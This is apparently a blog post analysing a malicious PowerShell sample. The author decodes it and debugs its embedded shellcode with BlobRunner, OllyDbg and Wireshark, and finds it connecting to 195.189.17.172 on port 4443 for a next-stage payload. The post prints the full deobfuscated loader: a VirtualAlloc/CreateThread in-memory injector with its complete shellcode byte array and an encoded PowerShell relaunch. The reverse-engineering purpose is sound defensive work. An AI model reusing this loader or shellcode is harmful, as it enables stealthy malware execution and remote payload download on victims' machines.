Reversing shellcode using blobrunner and Olly

I got hold of this recent Powershell sample from hybrid analysis, which was using a shellcode to download the next stage malware.

I wanted to show some quick ways to reverse the shellcode embedded inside malicious Powershell. Of course if enhanced PS logging is enabled then we could see the deobfuscated PS code. However the embedded shellcode will only run in memory so there wont be any visibility in the PS events on what is going on after that.

MD5: b00f5681f0f4186a31224d67b20a1b31

The PS when executes downloads next phase payload, which is

Base64 decoding the encoded PS code:

-----------------------------------------------Deobfuscated PS Starts-----------------------------

“$1 = '$c = ''[DllImport("kernel32.dll")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport("kernel32.dll")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport("msvcrt.dll")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);'';$w = Add-Type -memberDefinition $c -Name "Win32" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$sc = 0xfc,0xe8,0x82,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xc0,0x64,0x8b,0x50,0x30,0x8b,0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf2,0x52,0x57,0x8b,0x52,0x10,0x8b,0x4a,0x3c,0x8b,0x4c,0x11,0x78,0xe3,0x48,0x01,0xd1,0x51,0x8b,0x59,0x20,0x01,0xd3,0x8b,0x49,0x18,0xe3,0x3a,0x49,0x8b,0x34,0x8b,0x01,0xd6,0x31,0xff,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf6,0x03,0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe4,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b,0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x5f,0x5f,0x5a,0x8b,0x12,0xeb,0x8d,0x5d,0x68,0x33,0x32,0x00,0x00,0x68,0x77,0x73,0x32,0x5f,0x54,0x68,0x4c,0x77,0x26,0x07,0x89,0xe8,0xff,0xd0,0xb8,0x90,0x01,0x00,0x00,0x29,0xc4,0x54,0x50,0x68,0x29,0x80,0x6b,0x00,0xff,0xd5,0x6a,0x0a,0x68,0xc3,0xbd,0x11,0xac,0x68,0x02,0x00,0x11,0x5b,0x89,0xe6,0x50,0x50,0x50,0x50,0x40,0x50,0x40,0x50,0x68,0xea,0x0f,0xdf,0xe0,0xff,0xd5,0x97,0x6a,0x10,0x56,0x57,0x68,0x99,0xa5,0x74,0x61,0xff,0xd5,0x85,0xc0,0x74,0x0a,0xff,0x4e,0x08,0x75,0xec,0xe8,0x67,0x00,0x00,0x00,0x6a,0x00,0x6a,0x04,0x56,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x83,0xf8,0x00,0x7e,0x36,0x8b,0x36,0x6a,0x40,0x68,0x00,0x10,0x00,0x00,0x56,0x6a,0x00,0x68,0x58,0xa4,0x53,0xe5,0xff,0xd5,0x93,0x53,0x6a,0x00,0x56,0x53,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x83,0xf8,0x00,0x7d,0x28,0x58,0x68,0x00,0x40,0x00,0x00,0x6a,0x00,0x50,0x68,0x0b,0x2f,0x0f,0x30,0xff,0xd5,0x57,0x68,0x75,0x6e,0x4d,0x61,0xff,0xd5,0x5e,0x5e,0xff,0x0c,0x24,0x0f,0x85,0x70,0xff,0xff,0xff,0xe9,0x9b,0xff,0xff,0xff,0x01,0xc3,0x29,0xc6,0x75,0xc1,0xc3,0xbb,0xf0,0xb5,0xa2,0x56,0x6a,0x00,0x53,0xff,0xd5;;$size = 0x1000;if ($sc.Length -gt 0x1000){$size = $sc.Length};$x=$w::VirtualAlloc(0,0x1000,$size,0x40);for ($i=0;$i -le ($sc.Length-1);$i++) {$w::memset([IntPtr]($x.ToInt32()+$i), $sc[$i], 1)};$w::CreateThread(0,0,$x,0,0,0);for (;;){Start-sleep 60};';$gq = [System.Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($1));if([IntPtr]::Size -eq 8){$x86 = $env:SystemRoot + "\syswow64\WindowsPowerShell\v1.0\powershell";$cmd = "-nop -noni -enc";iex "& $x86 $cmd $gq"}else{$cmd = "-nop -noni -enc";iex "& powershell $cmd $gq";}”

-----------------------------------------------Deobfuscated PS Ends-----------------------------

I copied the above shellcode in blue inside shellcode.txt and then I used sed to perform some substitutions and save the resultant shellcode inside shellcode.bin

cat shellcode.txt | sed 's/,0/\\/g' >> shellcode.bin

I tried using miasm2 python reverse engineering framework to decompile the shellcode using the dis() function. However it did not work as expected. Maybe somebody can advise me on why this is not working.

I then echoed the shellcode into a binary format inside shellcode2.bin

I downloaded a pretty neat project called blobrunner

Ref: https://github.com/OALabs/BlobRunner

After compiling blobrunner binaries using Visual Studio command prompt (cl blobrunner.c), I ran the resultant exe (blobrunner.exe) in Ollydbg with the shellcode2.bin file as parameter. I also placed a breakpoint on the VirtualAlloc call so that I can figure out where the shellcode will be written to.

I stepped through the instructions after that.

Once I press F9, blobrunner console window tells me where is the entry point (EP) for the shellcode. I pressed Crtl+G and navigate to that offset and placed a execution hardware breakpoint there.

I had to press "any key" a couple of times before I landed my EIP on the EP. Now I can debug the shell code by stepping through it.

However, I had to remove the first byte 0xfc from the shellcode start as it was resulting in wrong disassembly. Fixed the shellcode and then tried again:

We can see the ws2_32.dll being loaded and the function connect being called to connect to an ip address to download the next stage payload.

While debugging shellcode I was running a wireshark instance to figure out the ip addresses the shellcode is contacting. Seems like it is trying to connect to 195.189.17.172 on port 4443

Another alternative is to use scdbg.exe for shellcode enumeration (Thanks to Chakib Gzenayi):